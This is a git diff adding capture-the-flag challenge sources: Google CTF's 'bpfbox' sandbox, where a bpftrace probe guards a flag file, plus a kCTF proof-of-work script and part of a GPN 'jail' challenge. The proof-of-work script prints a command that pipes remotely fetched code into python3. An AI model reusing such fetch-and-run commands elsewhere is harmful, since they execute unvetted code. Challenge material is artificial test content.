+ { source = ./flag.txt; target = "/flag.txt"; }
+ { source = "${initrdEnv}/bin/init"; target = "/init"; }
+ ];
+ };
+ in
+ {
+ packages.x86_64-linux.default = pkgs.stdenvNoCC.mkDerivation {
+ name = "bpfbox";
+ phases = [ "installPhase" ];
+ installPhase = ''
+ mkdir -p $out
+ cp ${initrd}/initrd.gz $out/
+ cp ${kernel}/bzImage $out/
+ '';
+ };
+ };
+}
diff --git a/2025/google/misc-bpfbox-patched/init/go.mod b/2025/google/misc-bpfbox-patched/init/go.mod
new file mode 100644
index 0000000..5e9ca64
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/init/go.mod
@@ -0,0 +1,3 @@
+module init
+
+go 1.24.2
diff --git a/2025/google/misc-bpfbox-patched/init/main.go b/2025/google/misc-bpfbox-patched/init/main.go
new file mode 100644
index 0000000..2f03594
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/init/main.go
@@ -0,0 +1,173 @@
+package main
+
+import (
+ "bufio"
+ "context"
+ "fmt"
+ "os"
+ "os/exec"
+ "strconv"
+ "strings"
+ "syscall"
+)
+
+const probeText = `
+BEGIN {
+ printf("ready\n")
+}
+
+fentry:vmlinux:security_create_user_ns {
+ signal(KILL);
+}
+
+fentry:vmlinux:security_file_open {
+ $inode = args->file->f_inode;
+ $d = $inode->i_sb->s_dev;
+ $i = $inode->i_ino;
+
+ if ($d == $1 && $i == $2) {
+ signal(KILL);
+ }
+}
+`
+
+func getProbeParams(filename string) (uint64, uint64, error) {
+ info, err := os.Stat("/flag.txt")
+ if err != nil {
+ return 0, 0, err
+ }
+
+ stat, ok := info.Sys().(*syscall.Stat_t)
+ if !ok {
+ return 0, 0, fmt.Errorf("expected Stat_t, but was: %s", info.Sys())
+ }
+
+ return stat.Dev, stat.Ino, nil
+}
+
+func runTracer(ctx context.Context, dev, ino uint64, rdy chan struct{}, errs chan error) {
+ cmd := exec.CommandContext(ctx, "/bin/bpftrace", "--unsafe", "-e", probeText, strconv.FormatUint(dev, 10), strconv.FormatUint(ino, 10))
+ // cmd.Wait will close the reader automatically
+ reader, err := cmd.StdoutPipe()
+ if err != nil {
+ errs <- err
+ return
+ }
+
+ err = cmd.Start()
+ if err != nil {
+ errs <- err
+ return
+ }
+
+ // wait for the probe to be ready
+ scanner := bufio.NewScanner(reader)
+ for scanner.Scan() {
+ if strings.Contains(scanner.Text(), "ready") {
+ break
+ }
+ }
+
+ close(rdy)
+ err = cmd.Wait()
+ if err != nil {
+ panic(err)
+ }
+}
+
+func mountFilesystems() error {
+ if err := syscall.Mount("devtmpfs", "/dev", "devtmpfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /dev: %s", err)
+ }
+
+ if err := os.Mkdir("/proc", 0555); err != nil {
+ return fmt.Errorf("error creating /proc: %s", err)
+ }
+
+ if err := syscall.Mount("proc", "/proc", "proc", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /proc: %s", err)
+ }
+
+ if err := os.Mkdir("/sys", 0555); err != nil {
+ return fmt.Errorf("error creating /sys: %s", err)
+ }
+
+ if err := syscall.Mount("sysfs", "/sys", "sysfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys: %s", err)
+ }
+
+ if err := syscall.Mount("tracefs", "/sys/kernel/tracing", "tracefs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys/kernel/tracing: %s", err)
+ }
+
+ if err := syscall.Mount("debugfs", "/sys/kernel/debug", "debugfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys/kernel/debug: %s", err)
+ }
+
+ if err := os.Mkdir("/tmp", 0555); err != nil {
+ return fmt.Errorf("error creating /tmp: %s", err)
+ }
+
+ if err := syscall.Mount("tmpfs", "/tmp", "tmpfs", syscall.MS_NOEXEC|syscall.MS_NODEV|syscall.MS_NOSUID, ""); err != nil {
+ return fmt.Errorf("error mounting /tmp: %s", err)
+ }
+
+ return nil
+}
+
+func shutdown() error {
+ return syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF)
+}
+
+func spawnShell(ctx context.Context) error {
+ cmd := exec.CommandContext(ctx, "/bin/sh")
+ cmd.SysProcAttr = &syscall.SysProcAttr{
+ Credential: &syscall.Credential{Uid: 99999, Gid: 99999},
+ Setpgid: true,
+ Pdeathsig: syscall.SIGKILL,
+ }
+ cmd.Stdout = os.Stdout
+ cmd.Stdin = os.Stdin
+ cmd.Stderr = os.Stderr
+ if err := cmd.Start(); err != nil {
+ return err
+ }
+
+ if err := cmd.Wait(); err != nil {
+ fmt.Println("command failed:", err)
+ }
+ return nil
+}
+
+func main() {
+ if err := mountFilesystems(); err != nil {
+ panic(err)
+ }
+
+ dev, ino, err := getProbeParams("/flag.txt")
+ if err != nil {
+ panic(err)
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ rdy := make(chan struct{})
+ errs := make(chan error)
+ go runTracer(ctx, dev, ino, rdy, errs)
+
+ select {
+ case err = <-errs:
+ panic(err)
+ case <-rdy:
+ }
+
+ if err := spawnShell(ctx); err != nil {
+ panic(err)
+ }
+
+ if err := shutdown(); err != nil {
+ panic(err)
+ }
+ panic("unreachable")
+}
diff --git a/2025/google/misc-bpfbox-patched/pof_solver.py b/2025/google/misc-bpfbox-patched/pof_solver.py
new file mode 100644
index 0000000..b5ba8e3
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/pof_solver.py
@@ -0,0 +1,187 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# Copyright 2020 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import base64
+import os
+import secrets
+import socket
+import sys
+import hashlib
+
+try:
+ import gmpy2
+ HAVE_GMP = True
+except ImportError:
+ HAVE_GMP = False
+ sys.stderr.write("[NOTICE] Running 10x slower, gotta go fast? pip3 install gmpy2\n")
+
+VERSION = 's'
+MODULUS = 2**1279-1
+CHALSIZE = 2**128
+
+SOLVER_URL = 'https://goo.gle/kctf-pow'
+
+def python_sloth_root(x, diff, p):
+ exponent = (p + 1) // 4
+ for i in range(diff):
+ x = pow(x, exponent, p) ^ 1
+ return x
+
+def python_sloth_square(y, diff, p):
+ for i in range(diff):
+ y = pow(y ^ 1, 2, p)
+ return y
+
+def gmpy_sloth_root(x, diff, p):
+ exponent = (p + 1) // 4
+ for i in range(diff):
+ x = gmpy2.powmod(x, exponent, p).bit_flip(0)
+ return int(x)
+
+def gmpy_sloth_square(y, diff, p):
+ y = gmpy2.mpz(y)
+ for i in range(diff):
+ y = gmpy2.powmod(y.bit_flip(0), 2, p)
+ return int(y)
+
+def sloth_root(x, diff, p):
+ if HAVE_GMP:
+ return gmpy_sloth_root(x, diff, p)
+ else:
+ return python_sloth_root(x, diff, p)
+
+def sloth_square(x, diff, p):
+ if HAVE_GMP:
+ return gmpy_sloth_square(x, diff, p)
+ else:
+ return python_sloth_square(x, diff, p)
+
+def encode_number(num):
+ size = (num.bit_length() // 24) * 3 + 3
+ return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8')
+
+def decode_number(enc):
+ return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big')
+
+def decode_challenge(enc):
+ dec = enc.split('.')
+ if dec[0] != VERSION:
+ raise Exception('Unknown challenge version')
+ return list(map(decode_number, dec[1:]))
+
+def encode_challenge(arr):
+ return '.'.join([VERSION] + list(map(encode_number, arr)))
+
+def get_challenge(diff):
+ x = secrets.randbelow(CHALSIZE)
+ return encode_challenge([diff, x])
+
+def solve_challenge(chal):
+ [diff, x] = decode_challenge(chal)
+ y = sloth_root(x, diff, MODULUS)
+ return encode_challenge([y])
+
+def can_bypass(chal, sol):
+ from ecdsa import VerifyingKey
+ from ecdsa.util import sigdecode_der
+ if not sol.startswith('b.'):
+ return False
+ sig = bytes.fromhex(sol[2:])
+ with open("/kctf/pow-bypass/pow-bypass-key-pub.pem", "r") as fd:
+ vk = VerifyingKey.from_pem(fd.read())
+ return vk.verify(signature=sig, data=bytes(chal, 'ascii'), hashfunc=hashlib.sha256, sigdecode=sigdecode_der)
+
+def verify_challenge(chal, sol, allow_bypass=True):
+ if allow_bypass and can_bypass(chal, sol):
+ return True
+ [diff, x] = decode_challenge(chal)
+ [y] = decode_challenge(sol)
+ res = sloth_square(y, diff, MODULUS)
+ return (x == res) or (MODULUS - x == res)
+
+def usage():
+ sys.stdout.write('Usage:\n')
+ sys.stdout.write('Solve pow: {} solve $challenge\n')
+ sys.stdout.write('Check pow: {} ask $difficulty\n')
+ sys.stdout.write(' $difficulty examples (for 1.6GHz CPU) in fast mode:\n')
+ sys.stdout.write(' 1337: 1 sec\n')
+ sys.stdout.write(' 31337: 30 secs\n')
+ sys.stdout.write(' 313373: 5 mins\n')
+ sys.stdout.flush()
+ sys.exit(1)
+
+def main():
+ if len(sys.argv) != 3:
+ usage()
+ sys.exit(1)
+
+ cmd = sys.argv[1]
+
+ if cmd == 'ask':
+ difficulty = int(sys.argv[2])
+
+ if difficulty == 0:
+ sys.stdout.write("== proof-of-work: disabled ==\n")
+ sys.exit(0)
+
+
+ challenge = get_challenge(difficulty)
+
+ sys.stdout.write("== proof-of-work: enabled ==\n")
+ sys.stdout.write("please solve a pow first\n")
+ sys.stdout.write("You can run the solver with:\n")
+ sys.stdout.write(" python3 <(curl -sSL {}) solve {}\n".format(SOLVER_URL, challenge))
+ sys.stdout.write("===================\n")
+ sys.stdout.write("\n")
+ sys.stdout.write("Solution? ")
+ sys.stdout.flush()
+ solution = ''
+ with os.fdopen(0, "rb", 0) as f:
+ while not solution:
+ line = f.readline().decode("utf-8")
+ if not line:
+ sys.stdout.write("EOF")
+ sys.stdout.flush()
+ sys.exit(1)
+ solution = line.strip()
+
+ if verify_challenge(challenge, solution):
+ sys.stdout.write("Correct\n")
+ sys.stdout.flush()
+ sys.exit(0)
+ else:
+ sys.stdout.write("Proof-of-work fail")
+ sys.stdout.flush()
+
+ elif cmd == 'solve':
+ challenge = sys.argv[2]
+ solution = solve_challenge(challenge)
+
+ if verify_challenge(challenge, solution, False):
+ sys.stderr.write("Solution: \n".format(solution))
+ sys.stderr.flush()
+ sys.stdout.write(solution)
+ sys.stdout.flush()
+ sys.stderr.write("\n")
+ sys.stderr.flush()
+ sys.exit(0)
+ else:
+ usage()
+
+ sys.exit(1)
+
+if __name__ == "__main__":
+ main()
diff --git a/2025/google/misc-bpfbox-patched/pyproject.toml b/2025/google/misc-bpfbox-patched/pyproject.toml
new file mode 100644
index 0000000..05abc8f
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/pyproject.toml
@@ -0,0 +1,9 @@
+[project]
+name = "misc-bpfbox"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.12"
+dependencies = [
+ "gmpy2>=2.2.1",
+]
diff --git a/2025/google/misc-bpfbox-patched/run_qemu b/2025/google/misc-bpfbox-patched/run_qemu
new file mode 100755
index 0000000..331f80a
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/run_qemu
@@ -0,0 +1,2 @@
+#!/usr/bin/env bash
+exec qemu-system-x86_64 -serial mon:stdio -nographic -cpu host -m 1024 -accel kvm -kernel /bzImage -initrd /initrd.gz -append "console=ttyS0 quiet"
diff --git a/2025/google/misc-bpfbox-patched/uv.lock b/2025/google/misc-bpfbox-patched/uv.lock
new file mode 100644
index 0000000..d66e9e2
--- /dev/null
+++ b/2025/google/misc-bpfbox-patched/uv.lock
@@ -0,0 +1,36 @@
+version = 1
+revision = 2
+requires-python = ">=3.12"
+
+[[package]]
+name = "gmpy2"
+version = "2.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/07/bd/c6c154ce734a3e6187871b323297d8e5f3bdf9feaafc5212381538bc19e4/gmpy2-2.2.1.tar.gz", hash = "sha256:e83e07567441b78cb87544910cb3cc4fe94e7da987e93ef7622e76fb96650432", size = 234228, upload-time = "2024-07-21T05:33:00.715Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/9a/ee/8f9f65e2bac334cfe13b3fc3f8962d5fc2858ebcf4517690d2d24afa6d0e/gmpy2-2.2.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:90d03a1be1b1ad3944013fae5250316c3f4e6aec45ecdf189a5c7422d640004d", size = 885231, upload-time = "2024-07-21T05:31:41.471Z" },
+ { url = "https://files.pythonhosted.org/packages/07/1c/bf29f6bf8acd72c3cf85d04e7db1bb26dd5507ee2387770bb787bc54e2a5/gmpy2-2.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd09dd43d199908c1d1d501c5de842b3bf754f99b94af5b5ef0e26e3b716d2d5", size = 696569, upload-time = "2024-07-21T05:31:43.768Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/cc/38d33eadeccd81b604a95b67d43c71b246793b7c441f1d7c3b41978cd1cf/gmpy2-2.2.1-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3232859fda3e96fd1aecd6235ae20476ed4506562bcdef6796a629b78bb96acd", size = 1655776, upload-time = "2024-07-21T05:31:46.272Z" },
+ { url = "https://files.pythonhosted.org/packages/96/8d/d017599d6db8e9b96d6e84ea5102c33525cb71c82876b1813a2ece5d94ec/gmpy2-2.2.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30fba6f7cf43fb7f8474216701b5aaddfa5e6a06d560e88a67f814062934e863", size = 1707529, upload-time = "2024-07-21T05:31:48.732Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/93/91b4a0af23ae4216fd7ebcfd955dcbe152c5ef170598aee421310834de0a/gmpy2-2.2.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9b33cae533ede8173bc7d4bb855b388c5b636ca9f22a32c949f2eb7e0cc531b2", size = 1634195, upload-time = "2024-07-21T05:31:50.99Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/ba/08ee99f19424cd33d5f0f17b2184e34d2fa886eebafcd3e164ccba15d9f2/gmpy2-2.2.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:954e7e1936c26e370ca31bbd49729ebeeb2006a8f9866b1e778ebb89add2e941", size = 1656779, upload-time = "2024-07-21T05:31:53.657Z" },
+ { url = "https://files.pythonhosted.org/packages/14/e1/7b32ae2b23c8363d87b7f4bbac9abe9a1f820c2417d2e99ca3b4afd9379b/gmpy2-2.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:c929870137b20d9c3f7dd97f43615b2d2c1a2470e50bafd9a5eea2e844f462e9", size = 1204668, upload-time = "2024-07-21T05:31:56.264Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/ab/82e4ef7e5b26e2f7bf97c2d46567f1f00cc6a442e995c0e7830025187cdf/gmpy2-2.2.1-cp313-cp313-macosx_10_9_x86_64.whl", hash = "sha256:a3859ef1706bc631ee7fbdf3ae0367da1709fae1e2538b0e1bc6c53fa3ee7ef4", size = 885100, upload-time = "2024-07-21T05:31:58.339Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/2d/4d6992ac765c8e5b53c3f4950369e92194d376aef2dd12c950ee9b6bcd70/gmpy2-2.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6468fc604d5a322fe037b8880848eef2fef7e9f843872645c4c11eef276896ad", size = 696455, upload-time = "2024-07-21T05:32:00.546Z" },
+ { url = "https://files.pythonhosted.org/packages/77/be/474784ac57eac28c61cf789e55acea874f115f00757896502f50a5bcd0f0/gmpy2-2.2.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a845a7701217da4ff81a2e4ae8df479e904621b7953d3a6b4ca0ff139f1fa71f", size = 1655890, upload-time = "2024-07-21T05:32:03.08Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/03/c59a817ac599043224101dac647e712ebce400394980609646993fcc7787/gmpy2-2.2.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0b1e14ef1793a1e0176e7b54b29b44c1d93cf8699ca8e4a93ed53fdd16e2c52", size = 1707719, upload-time = "2024-07-21T05:32:05.378Z" },
+ { url = "https://files.pythonhosted.org/packages/24/4a/923e50787dcd7ac7caa14a1c3f15040c16bf9cad6e42d9664070b5d45e7f/gmpy2-2.2.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:13b0e00170c14ed4cd1e007cc6f1bcb3417b5677d2ef964d46959a1833aa84ab", size = 1634253, upload-time = "2024-07-21T05:32:07.896Z" },
+ { url = "https://files.pythonhosted.org/packages/93/39/9aa392f20f5246740529a65385d2a40b7002f1fa98cc3205e708a77da2d7/gmpy2-2.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:831280e3943897ae6bf69ebd868dc6de2a46c078230b9f2a9f66b4ad793d0440", size = 1656831, upload-time = "2024-07-21T05:32:10.5Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/28/335bf8b4a1fc2acacda311f03cdfe87a07585754b95bae2c5331de15726b/gmpy2-2.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:74235fcce8a1bee207bf8d43955cb04563f71ba8231a3bbafc6dd7869503d05c", size = 1204644, upload-time = "2024-07-21T05:32:12.972Z" },
+]
+
+[[package]]
+name = "misc-bpfbox"
+version = "0.1.0"
+source = { virtual = "." }
+dependencies = [
+ { name = "gmpy2" },
+]
+
+[package.metadata]
+requires-dist = [{ name = "gmpy2", specifier = ">=2.2.1" }]
diff --git a/2025/google/misc-bpfbox/Dockerfile b/2025/google/misc-bpfbox/Dockerfile
new file mode 100644
index 0000000..7df270c
--- /dev/null
+++ b/2025/google/misc-bpfbox/Dockerfile
@@ -0,0 +1,23 @@
+FROM nixos/nix AS build
+
+RUN mkdir -p /build
+WORKDIR /build
+
+COPY flag.txt flake.nix flake.lock /build/
+COPY ./init /build/init/
+RUN nix --extra-experimental-features nix-command --extra-experimental-features flakes build
+
+FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f
+
+RUN apt-get update && apt-get install -y qemu-system-x86
+
+WORKDIR /
+COPY --from=build /build/result/bzImage /build/result/initrd.gz /
+COPY run_qemu /
+CMD kctf_setup && \
+ chmod 0777 /dev/kvm && \
+ chmod 0777 /dev/vhost-vsock && \
+ kctf_drop_privs \
+ socat \
+ TCP-LISTEN:1337,reuseaddr,fork \
+ EXEC:"kctf_pow /run_qemu"
diff --git a/2025/google/misc-bpfbox/flag.txt b/2025/google/misc-bpfbox/flag.txt
new file mode 100644
index 0000000..b74658b
--- /dev/null
+++ b/2025/google/misc-bpfbox/flag.txt
@@ -0,0 +1 @@
+CTF{this isn't a flag}
diff --git a/2025/google/misc-bpfbox/flake.lock b/2025/google/misc-bpfbox/flake.lock
new file mode 100644
index 0000000..a9304f0
--- /dev/null
+++ b/2025/google/misc-bpfbox/flake.lock
@@ -0,0 +1,26 @@
+{
+ "nodes": {
+ "nixpkgs": {
+ "locked": {
+ "lastModified": 1749857119,
+ "narHash": "sha256-tG5xUn3hFaPpAHYIvr2F88b+ovcIO5k1HqajFy7ZFPM=",
+ "owner": "NixOS",
+ "repo": "nixpkgs",
+ "rev": "5f4f306bea96741f1588ea4f450b2a2e29f42b98",
+ "type": "github"
+ },
+ "original": {
+ "id": "nixpkgs",
+ "ref": "nixos-25.05",
+ "type": "indirect"
+ }
+ },
+ "root": {
+ "inputs": {
+ "nixpkgs": "nixpkgs"
+ }
+ }
+ },
+ "root": "root",
+ "version": 7
+}
diff --git a/2025/google/misc-bpfbox/flake.nix b/2025/google/misc-bpfbox/flake.nix
new file mode 100644
index 0000000..9f74567
--- /dev/null
+++ b/2025/google/misc-bpfbox/flake.nix
@@ -0,0 +1,51 @@
+{
+ description = "bpfbox";
+
+ inputs = {
+ nixpkgs.url = "nixpkgs/nixos-25.05";
+ };
+
+ outputs = { self, nixpkgs }:
+ let
+ pkgs = import nixpkgs { system = "x86_64-linux"; };
+ lib = pkgs.lib;
+ init = pkgs.buildGoModule {
+ name = "init";
+
+ vendorHash = null;
+
+ src = ./init;
+ };
+ initrdEnv = pkgs.buildEnv {
+ name = "initrd-env";
+ paths = with pkgs; [
+ pkgsStatic.busybox
+ bpftrace
+ init
+ ];
+ pathsToLink = [
+ "/bin"
+ ];
+ };
+ kernel = pkgs.linuxPackages.kernel;
+ initrd = pkgs.makeInitrdNG {
+ name = "initramfs";
+ contents = [
+ { source = "${initrdEnv}/bin"; target = "/bin"; }
+ { source = ./flag.txt; target = "/flag.txt"; }
+ { source = "${initrdEnv}/bin/init"; target = "/init"; }
+ ];
+ };
+ in
+ {
+ packages.x86_64-linux.default = pkgs.stdenvNoCC.mkDerivation {
+ name = "bpfbox";
+ phases = [ "installPhase" ];
+ installPhase = ''
+ mkdir -p $out
+ cp ${initrd}/initrd.gz $out/
+ cp ${kernel}/bzImage $out/
+ '';
+ };
+ };
+}
diff --git a/2025/google/misc-bpfbox/init/go.mod b/2025/google/misc-bpfbox/init/go.mod
new file mode 100644
index 0000000..5e9ca64
--- /dev/null
+++ b/2025/google/misc-bpfbox/init/go.mod
@@ -0,0 +1,3 @@
+module init
+
+go 1.24.2
diff --git a/2025/google/misc-bpfbox/init/main.go b/2025/google/misc-bpfbox/init/main.go
new file mode 100644
index 0000000..38e7720
--- /dev/null
+++ b/2025/google/misc-bpfbox/init/main.go
@@ -0,0 +1,177 @@
+package main
+
+import (
+ "bufio"
+ "context"
+ "fmt"
+ "os"
+ "os/exec"
+ "strconv"
+ "strings"
+ "syscall"
+ "time"
+)
+
+const probeText = `
+BEGIN {
+ printf("ready\n")
+}
+
+fentry:vmlinux:security_create_user_ns {
+ signal(KILL);
+}
+
+fentry:vmlinux:security_file_open {
+ $inode = args->file->f_inode;
+ $d = $inode->i_sb->s_dev;
+ $i = $inode->i_ino;
+
+ if ($d == $1 && $i == $2) {
+ signal(KILL);
+ }
+}
+`
+
+func getProbeParams(filename string) (uint64, uint64, error) {
+ info, err := os.Stat("/flag.txt")
+ if err != nil {
+ return 0, 0, err
+ }
+
+ stat, ok := info.Sys().(*syscall.Stat_t)
+ if !ok {
+ return 0, 0, fmt.Errorf("expected Stat_t, but was: %s", info.Sys())
+ }
+
+ return stat.Dev, stat.Ino, nil
+}
+
+func runTracer(ctx context.Context, dev, ino uint64, rdy chan struct{}, errs chan error) {
+ cmd := exec.CommandContext(ctx, "/bin/bpftrace", "--unsafe", "-e", probeText, strconv.FormatUint(dev, 10), strconv.FormatUint(ino, 10))
+ // cmd.Wait will close the reader automatically
+ reader, err := cmd.StdoutPipe()
+ if err != nil {
+ errs <- err
+ return
+ }
+
+ err = cmd.Start()
+ if err != nil {
+ errs <- err
+ return
+ }
+
+ // wait for the probe to be ready
+ scanner := bufio.NewScanner(reader)
+ for scanner.Scan() {
+ if strings.Contains(scanner.Text(), "ready") {
+ break
+ }
+ }
+
+ close(rdy)
+ err = cmd.Wait()
+ if err != nil {
+ panic(err)
+ }
+}
+
+func mountFilesystems() error {
+ if err := syscall.Mount("devtmpfs", "/dev", "devtmpfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /dev: %s", err)
+ }
+
+ if err := os.Mkdir("/proc", 0555); err != nil {
+ return fmt.Errorf("error creating /proc: %s", err)
+ }
+
+ if err := syscall.Mount("proc", "/proc", "proc", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /proc: %s", err)
+ }
+
+ if err := os.Mkdir("/sys", 0555); err != nil {
+ return fmt.Errorf("error creating /sys: %s", err)
+ }
+
+ if err := syscall.Mount("sysfs", "/sys", "sysfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys: %s", err)
+ }
+
+ if err := syscall.Mount("tracefs", "/sys/kernel/tracing", "tracefs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys/kernel/tracing: %s", err)
+ }
+
+ if err := syscall.Mount("debugfs", "/sys/kernel/debug", "debugfs", 0, ""); err != nil {
+ return fmt.Errorf("error mounting /sys/kernel/debug: %s", err)
+ }
+
+ if err := os.Mkdir("/tmp", 0555); err != nil {
+ return fmt.Errorf("error creating /tmp: %s", err)
+ }
+
+ if err := syscall.Mount("tmpfs", "/tmp", "tmpfs", syscall.MS_NOEXEC|syscall.MS_NODEV|syscall.MS_NOSUID, ""); err != nil {
+ return fmt.Errorf("error mounting /tmp: %s", err)
+ }
+
+ return nil
+}
+
+func shutdown() error {
+ return syscall.Reboot(syscall.LINUX_REBOOT_CMD_POWER_OFF)
+}
+
+func spawnShell(ctx context.Context) error {
+ withTimeout, cancel := context.WithTimeout(ctx, time.Minute)
+ defer cancel()
+
+ cmd := exec.CommandContext(withTimeout, "/bin/sh")
+ cmd.SysProcAttr = &syscall.SysProcAttr{
+ Credential: &syscall.Credential{Uid: 99999, Gid: 99999},
+ Setpgid: true,
+ Pdeathsig: syscall.SIGKILL,
+ }
+ cmd.Stdout = os.Stdout
+ cmd.Stdin = os.Stdin
+ cmd.Stderr = os.Stderr
+ if err := cmd.Start(); err != nil {
+ return err
+ }
+
+ if err := cmd.Wait(); err != nil {
+ fmt.Println("command failed:", err)
+ }
+ return nil
+}
+
+func main() {
+ if err := mountFilesystems(); err != nil {
+ panic(err)
+ }
+
+ dev, ino, err := getProbeParams("/flag.txt")
+ if err != nil {
+ panic(err)
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ rdy := make(chan struct{})
+ errs := make(chan error)
+ go runTracer(ctx, dev, ino, rdy, errs)
+
+ select {
+ case err = <-errs:
+ panic(err)
+ case <-rdy:
+ }
+
+ if err := spawnShell(ctx); err != nil {
+ panic(err)
+ }
+
+ if err := shutdown(); err != nil {
+ panic(err)
+ }
+ panic("unreachable")
+}
diff --git a/2025/google/misc-bpfbox/run_qemu b/2025/google/misc-bpfbox/run_qemu
new file mode 100644
index 0000000..331f80a
--- /dev/null
+++ b/2025/google/misc-bpfbox/run_qemu
@@ -0,0 +1,2 @@
+#!/usr/bin/env bash
+exec qemu-system-x86_64 -serial mon:stdio -nographic -cpu host -m 1024 -accel kvm -kernel /bzImage -initrd /initrd.gz -append "console=ttyS0 quiet"
diff --git a/2025/gpn/misc/jail/.gitignore b/2025/gpn/misc/jail/.gitignore
new file mode 100644
index 0000000..1d17dae
--- /dev/null
+++ b/2025/gpn/misc/jail/.gitignore
@@ -0,0 +1 @@
+.venv
diff --git a/2025/gpn/misc/jail/.python-version b/2025/gpn/misc/jail/.python-version
new file mode 100644
index 0000000..e4fba21
--- /dev/null
+++ b/2025/gpn/misc/jail/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/2025/gpn/misc/jail/README.md b/2025/gpn/misc/jail/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/2025/gpn/misc/jail/bin_ls.txt b/2025/gpn/misc/jail/bin_ls.txt
new file mode 100644
index 0000000..8783a45
--- /dev/null
+++ b/2025/gpn/misc/jail/bin_ls.txt
@@ -0,0 +1,86 @@
+!ls -alh /bin
+total 796K
+drwxr-xr-x 2 root root 4.0K May 30 12:13 .
+drwxr-xr-x 1 root root 28 Jun 21 21:53 ..
+lrwxrwxrwx 1 root root 12 May 30 12:13 arch ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ash ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 base64 ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 bbconfig ->
+-rwxr-xr-x 1 root root 789.8K May 26 20:04 busybox
+lrwxrwxrwx 1 root root 12 May 30 12:13 cat ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 chattr ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 chgrp ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 chmod ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 chown ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 cp ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 date ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 dd ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 df ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 dmesg ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 dnsdomainname ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 dumpkmap ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 echo ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 egrep ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 false ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 fatattr ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 fdflush ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 fgrep ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 fsync ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 getopt ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 grep ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 gunzip ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 gzip ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 hostname ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ionice ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 iostat ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ipcalc ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 kbd_mode ->
